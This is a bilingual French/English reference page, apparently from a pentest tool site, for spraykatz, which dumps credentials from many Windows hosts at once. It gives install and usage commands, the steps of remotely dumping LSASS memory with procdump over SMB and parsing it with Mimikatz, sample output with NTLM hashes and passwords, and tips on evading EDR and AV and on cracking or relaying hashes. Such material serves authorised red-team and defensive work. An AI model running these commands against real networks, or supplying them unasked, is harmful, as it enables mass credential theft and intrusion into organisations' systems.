spraykatz
Dump d'identifiants Mimikatz à distance et à grande échelle. Extrait les identifiants de plusieurs hôtes Windows simultanément à l'aide de procdump et Mimikatz : récolte massive d'identifiants sur un réseau AD. Remote Mimikatz-based credential dumping at scale. Dumps credentials from multiple Windows hosts simultaneously using procdump and Mimikatz — mass credential harvesting across an AD network.
↗ https://github.com/aas-n/spraykatzOverview
Spraykatz automates remote credential dumping across multiple Windows hosts. It uses legitimate Windows tools (procdump) to dump LSASS memory on each target, then extracts credentials with Mimikatz — all remotely without deploying agents.
Installation
pip3 install spraykatz
# or
git clone https://github.com/aas-n/spraykatz
cd spraykatz
pip3 install -r requirements.txt
Basic Usage
Dump credentials from multiple hosts
python3 spraykatz.py -u DOMAIN/admin -p password -t targets.txt
Single host
python3 spraykatz.py -u DOMAIN/admin -p password -t 10.10.10.1
With hash authentication
python3 spraykatz.py -u DOMAIN/admin -H :NT_HASH -t targets.txt
Specify domain controller
python3 spraykatz.py -u admin -p pass -d DOMAIN -t targets.txt
Target File Format
targets.txt — one IP per line
cat targets.txt
→ 10.10.10.1 10.10.10.2 10.10.10.5 10.10.10.10
How It Works
# 1. Connects to each target via SMB (requires admin rights)
# 2. Uploads procdump.exe (Sysinternals) via SMB
# 3. Runs: procdump -accepteula -ma lsass.exe lsass.dmp
# 4. Downloads the LSASS dump
# 5. Runs Mimikatz locally to extract credentials
# 6. Outputs credentials per host
# Remote execution via:
# WMIEXEC — WMI-based execution
# SCM — Service Control Manager
# SMBEXEC — SMB-based execution
Output
# Per-host credential output:
# [+] 10.10.10.1:
# [*] Username: administrator
# NTLM: 8846f7eaee8fb117ad06bdd830b7586c
# Password: (null)
# [*] Username: DOMAIN\serviceaccount
# NTLM: aad3b435b51404eeaad3b435b51404ee
# Password: ServicePass123!
Tips
- Requires local admin rights on target systems (domain admin or local admin)
- LSASS dumping is detected by most EDR solutions — expect alerts
- For OPSEC, use CrackMapExec’s
--lsaor--samflags for more targeted dumping - Procdump is signed by Microsoft — less AV flagging than custom tools
- Collect all hashes first, then crack/relay offline without further target interaction
Help / Man page
spraykatz.py [options]
-u USER Username (DOMAIN/user or user)
-p PASS Password
-H HASH NT hash (LM:NT format)
-d DOMAIN Domain name
-t TARGETS Target IP or file with targets (one per line)
-r REMOTE Remote share for uploads (default: C$)
-v Verbose
Vue d’ensemble
Spraykatz automatise le dump d’identifiants à distance sur plusieurs hôtes Windows. Il utilise des outils Windows légitimes (procdump) pour dumper la mémoire LSASS sur chaque cible, puis extrait les identifiants avec Mimikatz, le tout à distance sans déployer d’agent.
Installation
pip3 install spraykatz
# ou
git clone https://github.com/aas-n/spraykatz
cd spraykatz
pip3 install -r requirements.txt
Utilisation de base
# Dumper les identifiants de plusieurs hôtes
python3 spraykatz.py -u DOMAIN/admin -p password -t targets.txt
# Un seul hôte
python3 spraykatz.py -u DOMAIN/admin -p password -t 10.10.10.1
# Avec authentification par hash
python3 spraykatz.py -u DOMAIN/admin -H :NT_HASH -t targets.txt
# Spécifier le contrôleur de domaine
python3 spraykatz.py -u admin -p pass -d DOMAIN -t targets.txt
Format du fichier de cibles
targets.txt : une IP par ligne
cat targets.txt
→ 10.10.10.1 10.10.10.2 10.10.10.5 10.10.10.10
Fonctionnement
# 1. Se connecte à chaque cible via SMB (nécessite des droits admin)
# 2. Upload procdump.exe (Sysinternals) via SMB
# 3. Exécute : procdump -accepteula -ma lsass.exe lsass.dmp
# 4. Télécharge le dump LSASS
# 5. Exécute Mimikatz en local pour extraire les identifiants
# 6. Affiche les identifiants par hôte
# Exécution à distance via :
# WMIEXEC : exécution basée sur WMI
# SCM : Service Control Manager
# SMBEXEC : exécution basée sur SMB
Sortie
# Sortie des identifiants par hôte :
# [+] 10.10.10.1:
# [*] Username: administrator
# NTLM: 8846f7eaee8fb117ad06bdd830b7586c
# Password: (null)
# [*] Username: DOMAIN\serviceaccount
# NTLM: aad3b435b51404eeaad3b435b51404ee
# Password: ServicePass123!
Conseils
- Nécessite des droits admin locaux sur les systèmes cibles (domain admin ou admin local)
- Le dump LSASS est détecté par la plupart des solutions EDR : s’attendre à des alertes
- Pour l’OPSEC, utiliser les flags
--lsaou--samde CrackMapExec pour un dump plus ciblé - Procdump est signé par Microsoft : moins de détection AV que des outils custom
- Collecter d’abord tous les hashes, puis les cracker/relayer hors ligne sans interaction supplémentaire avec la cible
Aide / Page de manuel
spraykatz.py [options]
-u USER Username (DOMAIN/user or user)
-p PASS Password
-H HASH NT hash (LM:NT format)
-d DOMAIN Domain name
-t TARGETS Target IP or file with targets (one per line)
-r REMOTE Remote share for uploads (default: C$)
-v Verbose